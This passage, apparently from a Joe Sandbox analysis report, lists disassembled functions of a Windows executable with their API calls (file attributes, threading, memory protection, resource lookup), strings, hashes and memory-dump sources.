                • Instruction ID: 8d379b1db26dbf6313e25ae977bf3fe9c315e7b71b7179457e2a0df8e0fc9e5a
                • Opcode Fuzzy Hash: 508a7545cd9675eca434abbd3fe5994820486329c798d74d3b033fce6636bdc7
                • Instruction Fuzzy Hash: 2B51B571E00249EFDF14DFA9C881AADBBF9EF58310F2441A9E854E7341E775AE058B90
                Function 00BC7663 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138timeCOMMON
                Download Yara Rule
                APIs
                • __EH_prolog.LIBCMT ref: 00BC7668
                • SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00BC7804
                  • Part of subcall function 00BCA1D3: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00BCA009,?,?,?,00BC9EA2,?,00000001,00000000,?,?), ref: 00BCA1E7
                  • Part of subcall function 00BCA1D3: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00BCA009,?,?,?,00BC9EA2,?,00000001,00000000,?,?), ref: 00BCA218
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: File$Attributes$H_prologTime
                • String ID: :
                • API String ID: 1861295151-336475711
                • Opcode ID: a18f45a20f9eeb685817f72b0efcdf5f7320c436995b84ab33ea29b6b07cf15e
                • Instruction ID: e02d7b78a8dd53c3f3c981b3e1770164fc5d57f73b77d412bde0aa49dca1ac1b
                • Opcode Fuzzy Hash: a18f45a20f9eeb685817f72b0efcdf5f7320c436995b84ab33ea29b6b07cf15e
                • Instruction Fuzzy Hash: 68416B71905258AAEB25EB60CC59FEEB7FCEF45340F0040EDB649A6182DB745F88CE61
                Function 00BCB3C9 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON
                Download Yara Rule
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID: UNC$\\?\
                • API String ID: 0-253988292
                • Opcode ID: 770c63b61f1f45670ab49b29acddf006360b8ddf11c9d09716e001b76a2862c0
                • Instruction ID: a733892b1a3c7ee3da5b8de479c3e17dbc028162bb8f4186c28f98d6401d0d5b
                • Opcode Fuzzy Hash: 770c63b61f1f45670ab49b29acddf006360b8ddf11c9d09716e001b76a2862c0
                • Instruction Fuzzy Hash: 0B415C32440259ABCF21AF60CC53FBEB7EAEF25390F5444EDF858A3151E7719E948A60
                Function 00BD8A72 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON
                Download Yara Rule
                APIs
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID:
                • String ID: Shell.Explorer$about:blank
                • API String ID: 0-874089819
                • Opcode ID: 709f0b8a1aca259ad8a5e0a21c69fcbae9486b0608370c7b79e9db8425e7d3d5
                • Instruction ID: 34fe2d0e147c017b92d0c1a9f49afed01ec74ad617075e985216df067efd48e4
                • Opcode Fuzzy Hash: 709f0b8a1aca259ad8a5e0a21c69fcbae9486b0608370c7b79e9db8425e7d3d5
                • Instruction Fuzzy Hash: D0215BB2700646AFC7089F64C891E2AF7E8FF45715B04469BF2059B781EF71E911CB90
                Function 00BCE898 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMON
                Download Yara Rule
                APIs
                  • Part of subcall function 00BCE819: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00BCE838
                  • Part of subcall function 00BCE819: GetProcAddress.KERNEL32(00C07350,CryptUnprotectMemory), ref: 00BCE848
                • GetCurrentProcessId.KERNEL32(?,?,?,00BCE892), ref: 00BCE919
                Strings
                • CryptProtectMemory failed, xrefs: 00BCE8D9
                • CryptUnprotectMemory failed, xrefs: 00BCE911
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: AddressProc$CurrentProcess
                • String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
                • API String ID: 2190909847-396321323
                • Opcode ID: a8b998003ca78073449d40b70593b4920be76558066fffa8794ed1ff757aee42
                • Instruction ID: 1dd6b15f248b4e8c8f2e21a74e7df3f6dfda65f183e237f76c6d5789978391cb
                • Opcode Fuzzy Hash: a8b998003ca78073449d40b70593b4920be76558066fffa8794ed1ff757aee42
                • Instruction Fuzzy Hash: BF113A31B04205A7EB159B39CC41FBE33C9DF84B14B0441ADF921DB2A2EBB0ED40D2A0
                Function 00BD050F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON
                Download Yara Rule
                APIs
                • CreateThread.KERNEL32(00000000,00010000,00BD0649,?,00000000,00000000), ref: 00BD0533
                • SetThreadPriority.KERNEL32(?,00000000), ref: 00BD057A
                  • Part of subcall function 00BC6DE8: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BC6E06
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: Thread$CreatePriority__vswprintf_c_l
                • String ID: CreateThread failed
                • API String ID: 2655393344-3849766595
                • Opcode ID: 2a0a9cc3512dd9e2f0f40c20631e95219ec285456cd249fe7cc72d5914b89b1d
                • Instruction ID: f4217096f00e3d32c145034b39b5efc5548bd63980390ef6a1407f12ce84a997
                • Opcode Fuzzy Hash: 2a0a9cc3512dd9e2f0f40c20631e95219ec285456cd249fe7cc72d5914b89b1d
                • Instruction Fuzzy Hash: E801DBB13583056BD6247F60AC81F66B3D8EB50755F20016EFA82572C0DEE1A840C730
                Function 00BC12D7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON
                Download Yara Rule
                APIs
                  • Part of subcall function 00BCD754: _swprintf.LIBCMT ref: 00BCD77A
                  • Part of subcall function 00BCD754: _strlen.LIBCMT ref: 00BCD79B
                  • Part of subcall function 00BCD754: SetDlgItemTextW.USER32(?,00BFD154,?), ref: 00BCD7FB
                  • Part of subcall function 00BCD754: GetWindowRect.USER32(?,?), ref: 00BCD835
                  • Part of subcall function 00BCD754: GetClientRect.USER32(?,?), ref: 00BCD841
                • GetDlgItem.USER32(00000000,00003021), ref: 00BC131B
                • SetWindowTextW.USER32(00000000,00BF22E4), ref: 00BC1331
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ItemRectTextWindow$Client_strlen_swprintf
                • String ID: 0
                • API String ID: 2622349952-4108050209
                • Opcode ID: 770f57fd72b5027f7adc119c17d4ee5749be7628e849552eb97817df6a148fc6
                • Instruction ID: fc75c58f5099ab4752b5e725d28272ed89215d26bd8c72abf7bc0c1acb2a6eb7
                • Opcode Fuzzy Hash: 770f57fd72b5027f7adc119c17d4ee5749be7628e849552eb97817df6a148fc6
                • Instruction Fuzzy Hash: 1AF081B0640288B7DF150F148C49FF93FDAAB45349F00849CBD45724A2CB74C955EB14
                Function 00BD04D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON
                Download Yara Rule
                APIs
                • WaitForSingleObject.KERNEL32(?,000000FF,00BD06F6,?,?,?,?,00BF146D,000000FF,?,00BCA6B6,?,?,?,00BF146D,000000FF), ref: 00BD04DA
                • GetLastError.KERNEL32(?,?,?,?,00BF146D,000000FF,?,00BCA6B6,?,?,?,00BF146D,000000FF), ref: 00BD04E6
                  • Part of subcall function 00BC6DE8: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BC6E06
                Strings
                • WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00BD04EF
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ErrorLastObjectSingleWait__vswprintf_c_l
                • String ID: WaitForMultipleObjects error %d, GetLastError %d
                • API String ID: 1091760877-2248577382
                • Opcode ID: aed930dd70306597446a7de5b793c7a13937696d33ebe74ffb4b2d379a9ecc2a
                • Instruction ID: 59758384f5c65565a61798e7eafddcf6e48ce5f970d192463fd9755485c92bbc
                • Opcode Fuzzy Hash: aed930dd70306597446a7de5b793c7a13937696d33ebe74ffb4b2d379a9ecc2a
                • Instruction Fuzzy Hash: 0AD05E7260942127DA0133386C0AFBF7A559F12334F2147A9F636672F5CE204981C6D5
                Function 00BCD70A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON
                Download Yara Rule
                APIs
                • GetModuleHandleW.KERNEL32(00000000,?,00BCD007,?), ref: 00BCD70F
                • FindResourceW.KERNEL32(00000000,RTL,00000005,?,00BCD007,?), ref: 00BCD71D
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: FindHandleModuleResource
                • String ID: RTL
                • API String ID: 3537982541-834975271
                • Opcode ID: 4b9e05c24809458a01bcbc26802d29bfd3e2bfc6988524f5a97b352c61c0b846
                • Instruction ID: 4804ed09b68dd810363d4e12f484d2ff8e83194b1a65bb6dcf51c6273c40acba
                • Opcode Fuzzy Hash: 4b9e05c24809458a01bcbc26802d29bfd3e2bfc6988524f5a97b352c61c0b846
                • Instruction Fuzzy Hash: 4DC0123224175166D73027307D0DFA32D885B01B51F050499F242DB1D0DDA5C841C650